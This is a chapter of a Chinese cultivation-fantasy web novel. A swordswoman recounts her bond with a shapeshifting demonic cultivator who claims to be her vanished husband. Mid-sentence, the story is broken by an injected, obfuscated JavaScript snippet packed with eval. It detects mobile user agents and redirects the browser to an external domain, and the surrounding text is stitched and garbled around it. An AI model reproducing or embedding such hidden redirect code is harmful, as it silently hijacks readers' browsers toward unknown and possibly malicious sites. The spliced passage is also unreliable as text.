俩人停住,扫了对方一眼,又收回目光。 一人眼神冰冷,一人面露不耐。 金不收则接着道:“无相变幻面容,需要将对方细致地记住。若遗忘自己的样貌,便也无法恢复。从前无相族中有年长者可用异术使得无相现出原貌,但无相灭族后,技艺也跟着失传……”温渺似乎懂得了一点。 这么说,如今的一人千面因为失忆,忘记了自己的过往,连真实的面目都不能恢复。 可若是如此,他又为何坚持认为姜旻母女是他的亲人?或许是有人告诉过他,但既然如此,姜旻为何坚持任何一人千面与她无关?姜旻看出几人有许多疑惑,饮过茶后,她缓缓开口,说起了自己的故事。姜旻在这座镇上已经许久了,世上的修士,多得是如她一般修行多年,仍寂寂无名。 她知道自己天资差,其实也没有多么远大的志向,能守住一方百姓安宁,不受邪魔侵扰,有家人常伴在侧,已经算好事了。然而身为修士,意外总是繁多。 姜旻的丈夫是她的同修,因为门派中的任务,隐瞒身份潜入露城,与魔道妖人混在一起。那个时候的露城鱼龙混杂,不少魔修自恃庵主,划分地盘占地为王,彼此相杀是常有的事。她的丈夫潜进去不久,便再没了音讯,据说也是死在魔道争斗之中。 那个时候的姜旻已经有一个孩子,是路边的乞儿。 修士极难有孕,她的丈夫见那孩子可怜,又有几分根骨,便带回家中,俩人将那孩子当做亲女对待。 本来她已经接受了丈夫已死的事实,直到后来,有个陌生的男人找上门,声称是她的丈夫,手上还持有她与丈夫的定情信物。姜旻是修道之人,即便修为不高,也能感受到对方身上的魔气。她当然不肯轻易相信,于是她多次盘问。男子态度诚恳,坚称与她是一家人,又说明了自己无相的身份,甚至还细数与她相处的细节,指出她说话做事的小习惯。男子什么都知道,就像她的丈夫一样。倘若不是朝夕相处,如何能记得这些。 但一个失忆到连自己都忘却的人,怎可能还记得自己的妻儿。 姜旻当然期望丈夫活着,即便是以一个邪修的身份,但这中间仍有许多难解的疑点。 归家的丈夫告诉她,自己的身份,是他的同僚告诉他的。 那位同僚是他失忆后,唯一信任的人。 同僚时常听他提起妻子,说见他偷偷摸摸回去,远远地看望她们母女。 他虽然失去记忆,身边仍留着与妻子的定情信物,还有一套为她买下的衣衫。 姜旻减轻了怀疑,但仍不能立刻接纳他。 何况她也算正道修士,丈夫劫后回来,忽然从普通的修士变成了修习邪道的无相,她究竟该如何?劝丈夫去自首,向仙门事情原委不成?但她能信,其他人又如何能相信? 姜旻心中有许多的难题,连同这份怀疑一起,将归家的丈夫往外推。 一人千面急切地想要团聚,虽不能立刻被接受,仍屡次回到家中探望她与女儿,越是频繁,越是态度亲切,越是让她感到难以适从。这个人很懂得她,但有些太懂了。 姜旻忍不住在想,她的丈夫真的有这么懂得她吗?丈夫真的会如此细致温柔,处处体贴吗?她的丈夫修为高过她,是门派中受人敬仰的前辈。 俩人在一起的时候,虽是夫妻和睦,但丈夫总是以一种长辈的态度,在教导她,指引她,从前的他,比失去记忆的这位,要强硬上许多。她想或许是失忆了后,一切都忘却,才让他更像抓紧唯一拥有的亲人。 也或许是因为沾染了邪术,不再如从前一般高傲。 但直觉却告诉她,不可能的,就算失忆了,变得面目全非,也必然有她熟悉的存在。她不相信丈夫能有这样大的改变。 眼前这个人再好,再妥帖温柔,也不会是她熟悉的枕边人。姜旻坚定地否认了这一点。 对方也如她坚定的否认一般,坚定地认为自己就是她的丈夫,只是找不到证明的方式。 姜旻说:“除非有朝一日,你能变回他的模样来见我,我便承认你是他。”否则,她怎能容忍自己被魔道妖人谁骗,连自己的枕边人都认不清。很多年,他都没有放弃。姜旻厌烦邪道的纠缠,更不喜欢他频繁变幻的面目,屡次拒绝他靠近她们母女。 于是他经常去,但更多的时候,都是隔得远远地看上几眼。从窗口塞进书信,塞一些孩子喜欢的小玩意儿,或是胭脂水粉,簪花玉器。有时候是月药,有时候是适合她的法宝。她通常都会拒绝,将东西推出窗外,但过了十多年,距离西陵府修剧已经渐渐远去的时候,那位疑似身死的西陵砚横空出世,将露城的庵修杀的杀,赶的赶,露城中的魔道中人哀嚎一片。 跟西陵砚斗输了的,不是被撕碎就是争先恐后逃出去。 姜旻所在的镇子,位于琅华辖地的边界,离露城不远,一时间魔道妖人泛滥。 魔道修炼要炼化阴杰,最简单的法子便是用邪术杀人,将人折磨致死,死前留下的阴杰便更加浓郁。姜旻为了保护乡民,与同修们昼 夜不休地除魔。 那段时日,她与同僚们都受了不少伤,百姓们也被吓得魂不附体不敢出门。要买丹药和除魔的法宝灵符,都需要不少钱财。 也正是那段时日,她开始接受一人千面的帮助,默许他偶尔出现。甚至见到陌生人送女儿归家,她也睁一只眼闭一只眼,装作不知道他是谁,也不曾向上头的仙门通报过。 姜旻是仙门修士,一人千面却是露城的魔修。 她并不相信这是她的丈夫,却也不想让仙门缉拿他,无视此人的存在,已经是她能想到最好的办法。 至于他的真实身份,姜旻有过猜测,但始终不能确认。 也是直到今日,他重伤被俘,她才知晓这便是花榜中最为神秘的一人千面。姜旻说完后,深深叹了口气,道:“我该说的都已说尽,信与不信,只在你们。”温渺听后,心中感触颇深,一时间没有想到该说什么话。凌雨始终面色不变,立刻发问:“真是奇了,他那位同僚作证,你是他的妻子,那你怎得不找他那位同僚验证?” 姜旻道:"他那位同僚,在告知此事后便失去行踪了。" 这一桩又一桩,都是些难解的谜团,凌雨对这些丝毫不感兴趣,扭头见温渺听得认真,一副深受触动的表情,他才强压下了面上的不耐。 刘富贵道:“他当真不是你的丈夫吗?” 姜旻苦笑道:“我又怎会认不出自己的枕边人?” 金不收却紧皱着眉头,说:“但他如此坚定,又有与你的定情信物,种种证据,都无法证明,非要一张脸才行吗?” 凌雨的胳膊支在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871833|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上,杵着下巴悠悠地盯着姜旻,轻飘飘地笑了一声,说:“说不准是不愿意承认呢,毕竞仙门正道,谁想跟来路不明的魔修扯上关系?还是个无相,日后可是无尽的灾祸 ”姜旻握着杯子的手指无声收紧,面色也苍白了许多,她恼怒地看向凌雨,眼中除却愤怒,也有一丝被戳中的心虚。 凌雨对上她凌厉的眼神,不以为意地侧过脸去,微笑着问温渺:“小枣,你觉着我说得对吗?” 温渺觉得将人往坏处想不太好,支支吾吾道:“也不能这么想……” 刘富贵神色平静,问:“我信你的话,既然你不想与他有牵扯,尽管送他去苍山受死。你可以矢口否认,与魔道毫无瓜葛,是他纠缠,我们也会替你佐作证,你可愿意?”姜旻并不承认一人千面是她的丈夫,也没有要包庇一个花榜杀手的念头,但听到他这么说,却没有如意想的那样毫不犹豫点头。 见她沉默不语,温渺小心翼翼问她:“前辈……是否要与他再见上一面?” 姜旻看向她,却没有立刻答话。 温渺接着道:“就算是道别也好……无论身份,也算相伴百年的旧识。”很多时候,真正面对面的时候,才能明确自己真正的心意。无论正邪,相识百年已经很难得了。即便是陌生的脸和记忆,如今也都在相伴中变得熟悉,要说没有丝毫不舍,怎么可能呢? 刘富贵道:“你修炼百年,即便修为不算深厚,也积累了不少功绩,早该被提拔到繁华之地,为何还会留在此处。” 姜旻道:“琅华内部混乱不堪,诸位也都知道。我性格木讷,不被提拔也是寻常,何况此地是我家乡。” 刘富贵:“何必欺骗自己?” 姜旻身体僵了一瞬,随后她竟怒容满面,猛地站起身。 我已经说过,此人不是我的丈夫!他是名门正派的修士,不是什么无相,更不是什么邪庵外道。我也不会对一个假冒我丈夫的人生出情分,人心非木石,我不过是个寻常人,何必苦苦相遍!”温渺见方才沉着冷静的姜旻被激得恼火,忙起身,手足无措地安抚:“姜前辈,这不是你的错,你不要生气。” 姜旻看到温渺这副好心又显得有点笨拙的模样,那种火气不知怎得又忽然偃旗息鼓,竟真的平静下来。 温渺拍拍她的手臂,就像她阿娘安慰她那般。 她轻声询问: "前辈不去见他一面吗?" 这个自认为她丈夫,已经在暗处与她相伴百年的人,已经没有多少时日了。再多翻涌的情绪,在意识到这一点后,都仿佛缓缓平和了。“好。”姜旻沉默良久,点头道。 她说完,不禁心想,牢狱中的一人千面,此刻也该醒过来了。 见到他该说什么好呢? 很久不见,再见竟是这种局面。何况还是为她挡伤被擒,她该说什么,能说什么呢? 说多谢? 他们正邪分明,擒拿魔道妖人天经地义,怎能道谢?还是不说,揭过此事,当做未曾发生。可如她方才所说,人非木石,她做不到如此寡恩薄情。纵想两清,如何两清? 倘若这个人真的是她丈夫……她或许也不至于如此为难。 一旁欲言又止许久的金不收,终于开口道:“倘若他当真是你的道侣呢?” 几人齐齐看向金不收,她深吸一口气,仿佛下定了某种决心,道:“我是说……若他恢复了本貌……”